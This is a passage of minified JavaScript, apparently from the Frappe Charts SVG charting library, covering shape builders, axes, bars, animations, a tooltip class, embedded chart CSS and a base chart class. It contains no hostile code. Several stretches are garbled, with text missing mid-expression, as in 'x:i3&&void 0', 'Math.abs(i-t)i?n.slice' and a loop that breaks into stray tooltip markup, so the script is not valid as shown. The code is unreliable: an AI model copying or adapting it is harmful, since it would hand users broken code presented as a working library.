t.margins.left+t.paddings.left}function o(t){return t.margins.top+t.margins.bottom+t.paddings.top+t.paddings.bottom+t.titleHeight+t.legendHeight}function l(t){return t.margins.left+t.margins.right+t.paddings.left+t.paddings.right}function u(t){return parseFloat(t.toFixed(2))}function h(t,e,i){var n=arguments.length>3&&void 0!==arguments[3]&&arguments[3];i||(i=n?t[0]:t[t.length-1]);var a=new Array(Math.abs(e)).fill(i);return t=n?a.concat(t):t.concat(a)}function c(t,e){return(t+"").length*e}function d(t,e){return{x:Math.sin(t*Vt)*e,y:Math.cos(t*Vt)*e}}function p(t,e){var i=void 0,n=void 0;return t<=e?(i=e-t,n=t):(i=t-e,n=e),[i,n]}function f(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:e.length-t.length;return i>0?t=h(t,i):e=h(e,i),[t,e]}function v(t){return t>255?255:t<0?0:t}function g(t,e){var i=Gt(t),n=!1;"#"==i[0]&&(i=i.slice(1),n=!0);var a=parseInt(i,16),s=v((a>>16)+e),r=v((a>>8&255)+e),o=v((255&a)+e);return(n?"#":"")+(o|r<<8|s<<16).toString(16)}function y(t){return/(^#[0-9A-F]{6}$)|(^#[0-9A-F]{3}$)/i.test(t)}function m(t,e){return"string"==typeof t?(e||document).querySelector(t):t||null}function b(t,e){var i=document.createElementNS("http://www.w3.org/2000/svg",t);for(var n in e){var a=e[n];if("inside"===n)m(a).appendChild(i);else if("around"===n){var s=m(a);s.parentNode.insertBefore(i,s),i.appendChild(s)}else"styles"===n?"object"===(void 0===a?"undefined":Dt(a))&&Object.keys(a).map(function(t){i.style[t]=a[t]}):("className"===n&&(n="class"),"innerHTML"===n?i.textContent=a:i.setAttribute(n,a))}return i}function x(t,e){return b("linearGradient",{inside:t,id:e,x1:0,x2:0,y1:0,y2:1})}function k(t,e,i,n){return b("stop",{inside:t,style:"stop-color: "+i,offset:e,"stop-opacity":n})}function w(t,e,i,n){return b("svg",{className:e,inside:t,width:i,height:n})}function A(t){return b("defs",{inside:t})}function P(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:void 0,n={className:t,transform:e};return i&&(n.inside=i),b("g",n)}function C(t){return b("path",{className:arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",d:t,styles:{stroke:arguments.length>2&&void 0!==arguments[2]?arguments[2]:"none",fill:arguments.length>3&&void 0!==arguments[3]?arguments[3]:"none"}})}function L(t,e,i,n){var a=arguments.length>4&&void 0!==arguments[4]?arguments[4]:1,s=i.x+t.x,r=i.y+t.y,o=i.x+e.x,l=i.y+e.y;return"M"+i.x+" "+i.y+"\n\t\tL"+s+" "+r+"\n\t\tA "+n+" "+n+" 0 0 "+(a?1:0)+"\n\t\t"+o+" "+l+" z"}function T(t,e){var i=arguments.length>2&&void 0!==arguments[2]&&arguments[2],n="path-fill-gradient-"+e+"-"+(i?"lighter":"default"),a=x(t,n),s=[1,.6,.2];return i&&(s=[.4,.2,0]),k(a,"0%",e,s[0]),k(a,"50%",e,s[1]),k(a,"100%",e,s[2]),n}function D(t,e,i,n){var a=arguments.length>4&&void 0!==arguments[4]?arguments[4]:Wt,s=arguments.length>5&&void 0!==arguments[5]?arguments[5]:"none";return b("rect",{className:"percentage-bar",x:t,y:e,width:i,height:n,fill:s,styles:{stroke:g(s,-25),"stroke-dasharray":"0, "+(n+i)+", "+i+", "+n,"stroke-width":a}})}function O(t,e,i,n){var a=arguments.length>4&&void 0!==arguments[4]?arguments[4]:"none",s=arguments.length>5&&void 0!==arguments[5]?arguments[5]:{},r={className:t,x:e,y:i,width:n,height:n,fill:a};return Object.keys(s).map(function(t){r[t]=s[t]}),b("rect",r)}function M(t,e,i){var n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"none",a=arguments[4],s={className:"legend-bar",x:0,y:0,width:i,height:"2px",fill:n},r=b("text",{className:"legend-dataset-text",x:0,y:0,dy:2*Jt+"px","font-size":1.2*Jt+"px","text-anchor":"start",fill:$t,innerHTML:a}),o=b("g",{transform:"translate("+t+", "+e+")"});return o.appendChild(b("rect",s)),o.appendChild(r),o}function N(t,e,i){var n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"none",a=arguments[4],s={className:"legend-dot",cx:0,cy:0,r:i,fill:n},r=b("text",{className:"legend-dataset-text",x:0,y:0,dx:Jt+"px",dy:Jt/3+"px","font-size":1.2*Jt+"px","text-anchor":"start",fill:$t,innerHTML:a}),o=b("g",{transform:"translate("+t+", "+e+")"});return o.appendChild(b("circle",s)),o.appendChild(r),o}function E(t,e,i,n){var a=arguments.length>4&&void 0!==arguments[4]?arguments[4]:{},s=a.fontSize||Jt;return b("text",{className:t,x:e,y:i,dy:(void 0!==a.dy?a.dy:s/2)+"px","font-size":s+"px",fill:a.fill||$t,"text-anchor":a.textAnchor||"start",innerHTML:n})}function S(t,e,i,n){var a=arguments.length>4&&void 0!==arguments[4]?arguments[4]:{};a.stroke||(a.stroke=Kt);var s=b("line",{className:"line-vertical "+a.className,x1:0,x2:0,y1:i,y2:n,styles:{stroke:a.stroke}}),r=b("text",{x:0,y:i>n?i+Xt:i-Xt-Jt,dy:Jt+"px","font-size":Jt+"px","text-anchor":"middle",innerHTML:e+""}),o=b("g",{transform:"translate("+t+", 0)"});return o.appendChild(s),o.appendChild(r),o}function _(t,e,i,n){var a=arguments.length>4&&void 0!==arguments[4]?arguments[4]:{};a.stroke||(a.stroke=Kt),a.lineType||(a.lineType="");var s=b("line",{className:"line-horizontal "+a.className+("dashed"===a.lineType?"dashed":""),x1:i,x2:n,y1:0,y2:0,styles:{stroke:a.stroke}}),r=b("text",{x:i3&&void 0!==arguments[3]?arguments[3]:{};n.pos||(n.pos="left"),n.offset||(n.offset=0),n.mode||(n.mode="span"),n.stroke||(n.stroke=Kt),n.className||(n.className="");var a=-1*qt,s="span"===n.mode?i+qt:0;return"tick"===n.mode&&"right"===n.pos&&(a=i+qt,s=i),a+=n.offset,s+=n.offset,_(t,e,a,s,{stroke:n.stroke,className:n.className,lineType:n.lineType})}function H(t,e,i){var n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{};n.pos||(n.pos="bottom"),n.offset||(n.offset=0),n.mode||(n.mode="span"),n.stroke||(n.stroke=Kt),n.className||(n.className="");var a=i+qt,s="span"===n.mode?-1*qt:i;return"tick"===n.mode&&"top"===n.pos&&(a=-1*qt,s=0),S(t,e,a,s,{stroke:n.stroke,className:n.className,lineType:n.lineType})}function F(t,e,i){var n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{};n.labelPos||(n.labelPos="right");var a=b("text",{className:"chart-label",x:"left"===n.labelPos?Xt:i-c(e,5)-Xt,y:0,dy:Jt/-2+"px","font-size":Jt+"px","text-anchor":"start",innerHTML:e+""}),s=_(t,"",0,i,{stroke:n.stroke||Kt,className:n.className||"",lineType:n.lineType});return s.appendChild(a),s}function j(t,e,i,n){var a=arguments.length>4&&void 0!==arguments[4]?arguments[4]:{},s=t-e,r=b("rect",{className:"bar mini",styles:{fill:"rgba(228, 234, 239, 0.49)",stroke:Kt,"stroke-dasharray":i+", "+s},x:0,y:0,width:i,height:s});a.labelPos||(a.labelPos="right");var o=b("text",{className:"chart-label",x:"left"===a.labelPos?Xt:i-c(n+"",4.5)-Xt,y:0,dy:Jt/-2+"px","font-size":Jt+"px","text-anchor":"start",innerHTML:n+""}),l=b("g",{transform:"translate(0, "+e+")"});return l.appendChild(r),l.appendChild(o),l}function W(t,e,i,n){var a=arguments.length>4&&void 0!==arguments[4]?arguments[4]:"",s=arguments.length>5&&void 0!==arguments[5]?arguments[5]:0,r=arguments.length>6&&void 0!==arguments[6]?arguments[6]:0,o=arguments.length>7&&void 0!==arguments[7]?arguments[7]:{},l=p(e,o.zeroLine),u=_t(l,2),h=u[0],c=u[1];c-=r,0===h&&(h=o.minHeight,c-=o.minHeight);var d=b("rect",{className:"bar mini",style:"fill: "+n,"data-point-index":s,x:t,y:c,width:i,height:h});if((a+="")||a.length){d.setAttribute("y",0),d.setAttribute("x",0);var f=b("text",{className:"data-point-value",x:i/2,y:0,dy:Jt/2*-1+"px","font-size":Jt+"px","text-anchor":"middle",innerHTML:a}),v=b("g",{"data-point-index":s,transform:"translate("+t+", "+c+")"});return v.appendChild(d),v.appendChild(f),v}return d}function I(t,e,i,n){var a=arguments.length>4&&void 0!==arguments[4]?arguments[4]:"",s=arguments.length>5&&void 0!==arguments[5]?arguments[5]:0,r=b("circle",{style:"fill: "+n,"data-point-index":s,cx:t,cy:e,r:i});if((a+="")||a.length){r.setAttribute("cy",0),r.setAttribute("cx",0);var o=b("text",{className:"data-point-value",x:0,y:0,dy:Jt/2*-1-i+"px","font-size":Jt+"px","text-anchor":"middle",innerHTML:a}),l=b("g",{"data-point-index":s,transform:"translate("+t+", "+e+")"});return l.appendChild(r),l.appendChild(o),l}return r}function R(t,e,i){var n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{},a=arguments.length>4&&void 0!==arguments[4]?arguments[4]:{},s=e.map(function(e,i){return t[i]+","+e}).join("L"),r=C("M"+s,"line-graph-path",i);if(n.heatline){var o=T(a.svgDefs,i);r.style.stroke="url(#"+o+")"}var l={path:r};if(n.regionFill){var u=T(a.svgDefs,i,!0),h="M"+t[0]+","+a.zeroLine+"L"+s+"L"+t.slice(-1)[0]+","+a.zeroLine;l.region=C(h,"region-fill","none","url(#"+u+")")}return l}function Y(t,e,i,n){var a="string"==typeof e?e:e.join(", ");return[t,{transform:i.join(", ")},n,ae,"translate",{transform:a}]}function V(t,e,i){return Y(t,[i,0],[e,0],ie)}function B(t,e,i){return Y(t,[0,i],[0,e],ie)}function U(t,e,i,n){var a=e-i,s=t.childNodes[0];return[[s,{height:a,"stroke-dasharray":s.getAttribute("width")+", "+a},ie,ae],Y(t,[0,n],[0,i],ie)]}function G(t,e,i,n){var a=arguments.length>4&&void 0!==arguments[4]?arguments[4]:0,s=p(i,(arguments.length>5&&void 0!==arguments[5]?arguments[5]:{}).zeroLine),r=_t(s,2),o=r[0],l=r[1];return l-=a,"rect"!==t.nodeName?[[t.childNodes[0],{width:n,height:o},te,ae],Y(t,t.getAttribute("transform").split("(")[1].slice(0,-1),[e,l],ie)]:[[t,{width:n,height:o,x:e,y:l},te,ae]]}function q(t,e,i){return"circle"!==t.nodeName?[Y(t,t.getAttribute("transform").split("(")[1].slice(0,-1),[e,i],ie)]:[[t,{cx:e,cy:i},te,ae]]}function X(t,e,i,n){var a=[],s=i.map(function(t,i){return e[i]+","+t}).join("L"),r=[t.path,{d:"M"+s},ee,ae];if(a.push(r),t.region){var o=e[0]+","+n+"L",l="L"+e.slice(-1)[0]+", "+n,u=[t.region,{d:"M"+o+s+l},ee,ae];a.push(u)}return a}function J(t,e){return[t,{d:e},te,ae]}function K(t,e,i){var n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"linear",a=arguments.length>4&&void 0!==arguments[4]?arguments[4]:void 0,s=arguments.length>5&&void 0!==arguments[5]?arguments[5]:{},r=t.cloneNode(!0),o=t.cloneNode(!0);for(var l in e){var u=void 0;u="transform"===l?document.createElementNS("http://www.w3.org/2000/svg","animateTransform"):document.createElementNS("http://www.w3.org/2000/svg","animate");var h=s[l]||t.getAttribute(l),c=e[l],d={attributeName:l,from:h,to:c,begin:"0s",dur:i/1e3+"s",values:h+";"+c,keySplines:se[n],keyTimes:"0;1",calcMode:"spline",fill:"freeze"};a&&(d.type=a);for(var p in d)u.setAttribute(p,d[p]);r.appendChild(u),a?o.setAttribute(l,"translate("+c+")"):o.setAttribute(l,c)}return[r,o]}function $(t,e){t.style.transform=e,t.style.webkitTransform=e,t.style.msTransform=e,t.style.mozTransform=e,t.style.oTransform=e}function Q(t,e){var i=[],n=[];e.map(function(t){var e=t[0],a=e.parentNode,s=void 0,r=void 0;t[0]=e;var o=K.apply(void 0,zt(t)),l=_t(o,2);s=l[0],r=l[1],i.push(r),n.push([s,a]),a.replaceChild(s,e)});var a=t.cloneNode(!0);return n.map(function(t,n){t[1].replaceChild(i[n],t[0]),e[n][0]=i[n]}),a}function Z(t,e,i){if(0!==i.length){var n=Q(e,i);e.parentNode==t&&(t.removeChild(e),t.appendChild(n)),setTimeout(function(){n.parentNode==t&&(t.removeChild(n),t.appendChild(e))},ne)}}function tt(t,e){var i=document.createElement("a");i.style="display: none";var n=new Blob(e,{type:"image/svg+xml; charset=utf-8"}),a=window.URL.createObjectURL(n);i.href=a,i.download=t,document.body.appendChild(i),i.click(),setTimeout(function(){document.body.removeChild(i),window.URL.revokeObjectURL(a)},300)}function et(e){var i=e.cloneNode(!0);i.classList.add("chart-container"),i.setAttribute("xmlns","http://www.w3.org/2000/svg"),i.setAttribute("xmlns:xlink","http://www.w3.org/1999/xlink");var n=t.create("style",{innerHTML:re});i.insertBefore(n,i.firstChild);var a=t.create("div");return a.appendChild(i),a.innerHTML}function it(t){var e=new Date(t);return e.setMinutes(e.getMinutes()-e.getTimezoneOffset()),e}function nt(t){var e=t.getDate(),i=t.getMonth()+1;return[t.getFullYear(),(i>9?"":"0")+i,(e>9?"":"0")+e].join("-")}function at(t){return new Date(t.getTime())}function st(t,e){var i=ht(t);return Math.ceil(rt(i,e)/he)}function rt(t,e){var i=de*ce;return(it(e)-it(t))/i}function ot(t,e){return t.getMonth()===e.getMonth()&&t.getFullYear()===e.getFullYear()}function lt(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1],i=pe[t];return e?i.slice(0,3):i}function ut(t,e){return new Date(e,t+1,0)}function ht(t){var e=at(t),i=e.getDay();return 0!==i&&ct(e,-1*i),e}function ct(t,e){t.setDate(t.getDate()+e)}function dt(t,e,i){var n=Object.keys(ge).filter(function(e){return t.includes(e)}),a=ge[n[0]];return Object.assign(a,{constants:e,getData:i}),new ve(a)}function pt(t){if(0===t)return[0,0];if(isNaN(t))return{mantissa:-6755399441055744,exponent:972};var e=t>0?1:-1;if(!isFinite(t))return{mantissa:4503599627370496*e,exponent:972};t=Math.abs(t);var i=Math.floor(Math.log10(t));return[e*(t/Math.pow(10,i)),i]}function ft(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,i=Math.ceil(t),n=Math.floor(e),a=i-n,s=a,r=1;a>5&&(a%2!=0&&(a=++i-n),s=a/2,r=2),a<=2&&(r=a/(s=4)),0===a&&(s=5,r=1);for(var o=[],l=0;l<=s;l++)o.push(n+r*l);return o}function vt(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,i=pt(t),n=_t(i,2),a=n[0],s=n[1],r=e?e/Math.pow(10,s):0,o=ft(a=a.toFixed(6),r);return o=o.map(function(t){return t*Math.pow(10,s)})}function gt(t){function e(t,e){for(var i=vt(t),n=i[1]-i[0],a=0,s=1;a1&&void 0!==arguments[1]&&arguments[1],n=Math.max.apply(Math,zt(t)),a=Math.min.apply(Math,zt(t)),s=[];if(n>=0&&a>=0)pt(n)[1],s=i?vt(n,a):vt(n);else if(n>0&&a<0){var r=Math.abs(a);n>=r?(pt(n)[1],s=e(n,r)):(pt(r)[1],s=e(r,n).map(function(t){return-1*t}))}else if(n<=0&&a<=0){var o=Math.abs(a),l=Math.abs(n);pt(o)[1],s=(s=i?vt(o,l):vt(o)).reverse().map(function(t){return-1*t})}return s}function yt(t){var e=mt(t);return t.indexOf(0)>=0?t.indexOf(0):t[0]>0?-1*t[0]/e:-1*t[t.length-1]/e+(t.length-1)}function mt(t){return t[1]-t[0]}function bt(t){return t[t.length-1]-t[0]}function xt(t,e){return u(e.zeroLine-t*e.scaleMultiplier)}function kt(t,e){var i=arguments.length>2&&void 0!==arguments[2]&&arguments[2],n=e.reduce(function(e,i){return Math.abs(i-t)i?n.slice(0,i):h(n,i-n.length,0)}else t.values=a;t.chartType||(jt.includes(e),t.chartType=e)}),t.yRegions&&t.yRegions.map(function(t){if(t.end1&&void 0!==arguments[1]?arguments[1]:[],i=!(arguments.length>2&&void 0!==arguments[2])||arguments[2],n=t/e.length;n<=0&&(n=1);var a=n/It;return e.map(function(t,e){return(t+="").length>a&&(i?e%Math.ceil(t.length/a)!=0&&(t=""):t=a-3>0?t.slice(0,a-3)+" ...":t.slice(0,a)+".."),t})}function Tt(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"line",e=arguments[1],i=arguments[2];return"axis-mixed"===t?(i.type="line",new xe(e,i)):ke[t]?new ke[t](e,i):void console.error("Undefined chart type: "+t)}!function(t,e){void 0===e&&(e={});var i=e.insertAt;if(t&&"undefined"!=typeof document){var n=document.head||document.getElementsByTagName("head")[0],a=document.createElement("style");a.type="text/css","top"===i&&n.firstChild?n.insertBefore(a,n.firstChild):n.appendChild(a),a.styleSheet?a.styleSheet.cssText=t:a.appendChild(document.createTextNode(t))}}('.chart-container{position:relative;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen,Ubuntu,Cantarell,Fira Sans,Droid Sans,Helvetica Neue,sans-serif}.chart-container .axis,.chart-container .chart-label{fill:#555b51}.chart-container .axis line,.chart-container .chart-label line{stroke:#dadada}.chart-container .dataset-units circle{stroke:#fff;stroke-width:2}.chart-container .dataset-units path{fill:none;stroke-opacity:1;stroke-width:2px}.chart-container .dataset-path{stroke-width:2px}.chart-container .path-group path{fill:none;stroke-opacity:1;stroke-width:2px}.chart-container line.dashed{stroke-dasharray:5,3}.chart-container .axis-line .specific-value{text-anchor:start}.chart-container .axis-line .y-line{text-anchor:end}.chart-container .axis-line .x-line{text-anchor:middle}.chart-container .legend-dataset-text{fill:#6c7680;font-weight:600}.graph-svg-tip{position:absolute;z-index:1;padding:10px;font-size:12px;color:#959da5;text-align:center;background:rgba(0,0,0,.8);border-radius:3px}.graph-svg-tip ol,.graph-svg-tip ul{padding-left:0;display:-webkit-box;display:-ms-flexbox;display:flex}.graph-svg-tip ul.data-point-list li{min-width:90px;-webkit-box-flex:1;-ms-flex:1;flex:1;font-weight:600}.graph-svg-tip strong{color:#dfe2e5;font-weight:600}.graph-svg-tip .svg-pointer{position:absolute;height:5px;margin:0 0 0 -5px;content:" ";border:5px solid transparent;border-top-color:rgba(0,0,0,.8)}.graph-svg-tip.comparison{padding:0;text-align:left;pointer-events:none}.graph-svg-tip.comparison .title{display:block;padding:10px;margin:0;font-weight:600;line-height:1;pointer-events:none}.graph-svg-tip.comparison ul{margin:0;white-space:nowrap;list-style:none}.graph-svg-tip.comparison li{display:inline-block;padding:5px 10px}',{});var Dt="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},Ot=(function(){function t(t){this.value=t}function e(e){function i(t,e){return new Promise(function(i,a){var o={key:t,arg:e,resolve:i,reject:a,next:null};r?r=r.next=o:(s=r=o,n(t,e))})}function n(i,s){try{var r=e[i](s),o=r.value;o instanceof t?Promise.resolve(o.value).then(function(t){n("next",t)},function(t){n("throw",t)}):a(r.done?"return":"normal",r.value)}catch(t){a("throw",t)}}function a(t,e){switch(t){case"return":s.resolve({value:e,done:!0});break;case"throw":s.reject(e);break;default:s.resolve({value:e,done:!1})}(s=s.next)?n(s.key,s.arg):r=null}var s,r;this._invoke=i,"function"!=typeof e.return&&(this.return=void 0)}"function"==typeof Symbol&&Symbol.asyncIterator&&(e.prototype[Symbol.asyncIterator]=function(){return this}),e.prototype.next=function(t){return this._invoke("next",t)},e.prototype.throw=function(t){return this._invoke("throw",t)},e.prototype.return=function(t){return this._invoke("return",t)}}(),function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}),Mt=function(){function t(t,e){for(var i=0;i\n\t\t\t\t
    \n\t\t\t\t
    '}),this.hideTip(),this.title=this.container.querySelector(".title"),this.dataPointList=this.container.querySelector(".data-point-list"),this.parent.addEventListener("mouseleave",function(){e.hideTip()})}},{key:"fill",value:function(){var e=this,i=void 0;this.index&&this.container.setAttribute("data-point-index",this.index),i=this.titleValueFirst?""+this.titleValue+""+this.titleName:this.titleName+""+this.titleValue+"",this.title.innerHTML=i,this.dataPointList.innerHTML="",this.listValues.map(function(i,n){var a=e.colors[n]||"black",s=0===i.formatted||i.formatted?i.formatted:i.value,r=t.create("li",{styles:{"border-top":"3px solid "+a},innerHTML:''+(0===s||s?s:"")+"\n\t\t\t\t\t"+(i.title?i.title:"")});e.dataPointList.appendChild(r)})}},{key:"calcPosition",value:function(){var t=this.container.offsetWidth;this.top=this.y-this.container.offsetHeight-5,this.left=this.x-t/2;var e=this.parent.offsetWidth-t,i=this.container.querySelector(".svg-pointer");if(this.left<0)i.style.left="calc(50% - "+-1*this.left+"px)",this.left=0;else if(this.left>e){var n="calc(50% + "+(this.left-e)+"px)";i.style.left=n,this.left=e}else i.style.left="50%"}},{key:"setValues",value:function(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:[],a=arguments.length>4&&void 0!==arguments[4]?arguments[4]:-1;this.titleName=i.name,this.titleValue=i.value,this.listValues=n,this.x=t,this.y=e,this.titleValueFirst=i.valueFirst||0,this.index=a,this.refresh()}},{key:"hideTip",value:function(){this.container.style.top="0px",this.container.style.left="0px",this.container.style.opacity="0"}},{key:"showTip",value:function(){this.container.style.top=this.top+"px",this.container.style.left=this.left+"px",this.container.style.opacity="1"}}]),e}(),Ut={"light-blue":"#7cd6fd",blue:"#5e64ff",violet:"#743ee2",red:"#ff5858",orange:"#ffa00a",yellow:"#feef72",green:"#28a745","light-green":"#98d85b",purple:"#b554ff",magenta:"#ffa3ef",black:"#36114C",grey:"#bdd3e6","light-grey":"#f0f4f7","dark-grey":"#b8c2cc"},Gt=function(t){return Ut[t]||t},qt=6,Xt=4,Jt=10,Kt="#dadada",$t="#555b51",Qt={bar:function(t){var e=void 0;"rect"!==t.nodeName&&(e=t.getAttribute("transform"),t=t.childNodes[0]);var i=t.cloneNode();return i.style.fill="#000000",i.style.opacity="0.4",e&&i.setAttribute("transform",e),i},dot:function(t){var e=void 0;"circle"!==t.nodeName&&(e=t.getAttribute("transform"),t=t.childNodes[0]);var i=t.cloneNode(),n=t.getAttribute("r"),a=t.getAttribute("fill");return i.setAttribute("r",parseInt(n)+4),i.setAttribute("fill",a),i.style.opacity="0.6",e&&i.setAttribute("transform",e),i},heat_square:function(t){var e=void 0;"circle"!==t.nodeName&&(e=t.getAttribute("transform"),t=t.childNodes[0]);var i=t.cloneNode(),n=t.getAttribute("r"),a=t.getAttribute("fill");return i.setAttribute("r",parseInt(n)+4),i.setAttribute("fill",a),i.style.opacity="0.6",e&&i.setAttribute("transform",e),i}},Zt={bar:function(t,e){var i=void 0;"rect"!==t.nodeName&&(i=t.getAttribute("transform"),t=t.childNodes[0]);var n=["x","y","width","height"];Object.values(t.attributes).filter(function(t){return n.includes(t.name)&&t.specified}).map(function(t){e.setAttribute(t.name,t.nodeValue)}),i&&e.setAttribute("transform",i)},dot:function(t,e){var i=void 0;"circle"!==t.nodeName&&(i=t.getAttribute("transform"),t=t.childNodes[0]);var n=["cx","cy"];Object.values(t.attributes).filter(function(t){return n.includes(t.name)&&t.specified}).map(function(t){e.setAttribute(t.name,t.nodeValue)}),i&&e.setAttribute("transform",i)},heat_square:function(t,e){var i=void 0;"circle"!==t.nodeName&&(i=t.getAttribute("transform"),t=t.childNodes[0]);var n=["cx","cy"];Object.values(t.attributes).filter(function(t){return n.includes(t.name)&&t.specified}).map(function(t){e.setAttribute(t.name,t.nodeValue)}),i&&e.setAttribute("transform",i)}},te=350,ee=350,ie=te,ne=250,ae="easein",se={ease:"0.25 0.1 0.25 1",linear:"0 0 1 1",easein:"0.1 0.8 0.2 1",easeout:"0 0 0.58 1",easeinout:"0.42 0 0.58 1"},re=".chart-container{position:relative;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI','Roboto','Oxygen','Ubuntu','Cantarell','Fira Sans','Droid Sans','Helvetica Neue',sans-serif}.chart-container .axis,.chart-container .chart-label{fill:#555b51}.chart-container .axis line,.chart-container .chart-label line{stroke:#dadada}.chart-container .dataset-units circle{stroke:#fff;stroke-width:2}.chart-container .dataset-units path{fill:none;stroke-opacity:1;stroke-width:2px}.chart-container .dataset-path{stroke-width:2px}.chart-container .path-group path{fill:none;stroke-opacity:1;stroke-width:2px}.chart-container line.dashed{stroke-dasharray:5,3}.chart-container .axis-line .specific-value{text-anchor:start}.chart-container .axis-line .y-line{text-anchor:end}.chart-container .axis-line .x-line{text-anchor:middle}.chart-container .legend-dataset-text{fill:#6c7680;font-weight:600}.graph-svg-tip{position:absolute;z-index:99999;padding:10px;font-size:12px;color:#959da5;text-align:center;background:rgba(0,0,0,.8);border-radius:3px}.graph-svg-tip ul{padding-left:0;display:flex}.graph-svg-tip ol{padding-left:0;display:flex}.graph-svg-tip ul.data-point-list li{min-width:90px;flex:1;font-weight:600}.graph-svg-tip strong{color:#dfe2e5;font-weight:600}.graph-svg-tip .svg-pointer{position:absolute;height:5px;margin:0 0 0 -5px;content:' ';border:5px solid transparent;border-top-color:rgba(0,0,0,.8)}.graph-svg-tip.comparison{padding:0;text-align:left;pointer-events:none}.graph-svg-tip.comparison .title{display:block;padding:10px;margin:0;font-weight:600;line-height:1;pointer-events:none}.graph-svg-tip.comparison ul{margin:0;white-space:nowrap;list-style:none}.graph-svg-tip.comparison li{display:inline-block;padding:5px 10px}",oe=void 0,le=function(){function e(t,i){if(Ot(this,e),this.parent="string"==typeof t?document.querySelector(t):t,!(this.parent instanceof HTMLElement))throw new Error("No `parent` element to render on was provided.");this.rawChartArgs=i,this.title=i.title||"",this.type=i.type||"",this.realData=this.prepareData(i.data),this.data=this.prepareFirstData(this.realData),this.colors=this.validateColors(i.colors,this.type),this.config={showTooltip:1,showLegend:1,isNavigable:i.isNavigable||0,animate:1},this.measures=JSON.parse(JSON.stringify(Ht));var n=this.measures;this.setMeasures(i),this.title.length||(n.titleHeight=0),this.config.showLegend||(n.legendHeight=0),this.argHeight=i.height||n.baseHeight,this.state={},this.options={},this.initTimeout=Ft,this.config.isNavigable&&(this.overlays=[]),this.configure(i)}return Mt(e,[{key:"prepareData",value:function(t){return t}},{key:"prepareFirstData",value:function(t){return t}},{key:"validateColors",value:function(t,e){var i=[];return(t=(t||[]).concat(Yt[e])).forEach(function(t){var e=Gt(t);y(e)?i.push(e):console.warn('"'+t+'" is not a valid color.')}),i}},{key:"setMeasures",value:function(){}},{key:"configure",value:function(){var t=this.argHeight;this.baseHeight=t,this.height=t-o(this.measures),oe=this.boundDrawFn.bind(this),window.addEventListener("resize",oe),window.addEventListener("orientationchange",this.boundDrawFn.bind(this))}},{key:"boundDrawFn",value:function(){this.draw(!0)}},{key:"unbindWindowEvents",value:function(){window.removeEventListener("resize",oe),window.removeEventListener("orientationchange",this.boundDrawFn.bind(this))}},{key:"setup",value:function(){this.makeContainer(),this.updateWidth(),this.makeTooltip(),this.draw(!1,!0)}},{key:"makeContainer",value:function(){this.parent.innerHTML="";var e={inside:this.parent,className:"chart-container"};this.independentWidth&&(e.styles={width:this.independentWidth+"px"}),this.container=t.create("div",e)}},{key:"makeTooltip",value:function(){this.tip=new Bt({parent:this.container,colors:this.colors}),this.bindTooltip()}},{key:"bindTooltip",value:function(){}},{key:"draw",value:function(){var t=this,e=arguments.length>0&&void 0!==arguments[0]&&arguments[0],i=arguments.length>1&&void 0!==arguments[1]&&arguments[1];this.updateWidth(),this.calc(e),this.makeChartArea(),this.setupComponents(),this.components.forEach(function(e){return e.setup(t.drawArea)}),this.render(this.components,!1),i&&(this.data=this.realData,setTimeout(function(){t.update(t.data)},this.initTimeout)),this.renderLegend(),this.setupNavigation(i)}},{key:"calc",value:function(){}},{key:"updateWidth",value:function(){this.baseWidth=n(this.parent),this.width=this.baseWidth-l(this.measures)}},{key:"makeChartArea",value:function(){this.svg&&this.container.removeChild(this.svg);var t=this.measures;this.svg=w(this.container,"frappe-chart chart",this.baseWidth,this.baseHeight),this.svgDefs=A(this.svg),this.title.length&&(this.titleEL=E("title",t.margins.left,t.margins.top,this.title,{fontSize:t.titleFontSize,fill:"#666666",dy:t.titleFontSize}));var e=s(t);this.drawArea=P(this.type+"-chart chart-draw-area","translate("+r(t)+", "+e+")"),this.config.showLegend&&(e+=this.height+t.paddings.bottom,this.legendArea=P("chart-legend","translate("+r(t)+", "+e+")")),this.title.length&&this.svg.appendChild(this.titleEL),this.svg.appendChild(this.drawArea),this.config.showLegend&&this.svg.appendChild(this.legendArea),this.updateTipOffset(r(t),s(t))}},{key:"updateTipOffset",value:function(t,e){this.tip.offset={x:t,y:e}}},{key:"setupComponents",value:function(){this.components=new Map}},{key:"update",value:function(t){t||console.error("No data to update."),this.data=this.prepareData(t),this.calc(),this.render()}},{key:"render",value:function(){var t=this,e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.components,i=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];this.config.isNavigable&&this.overlays.map(function(t){return t.parentNode.removeChild(t)});var n=[];e.forEach(function(t){n=n.concat(t.update(i))}),n.length>0?(Z(this.container,this.svg,n),setTimeout(function(){e.forEach(function(t){return t.make()}),t.updateNav()},400)):(e.forEach(function(t){return t.make()}),this.updateNav())}},{key:"updateNav",value:function(){this.config.isNavigable&&(this.makeOverlay(),this.bindUnits())}},{key:"renderLegend",value:function(){}},{key:"setupNavigation",value:function(){var t=this,e=arguments.length>0&&void 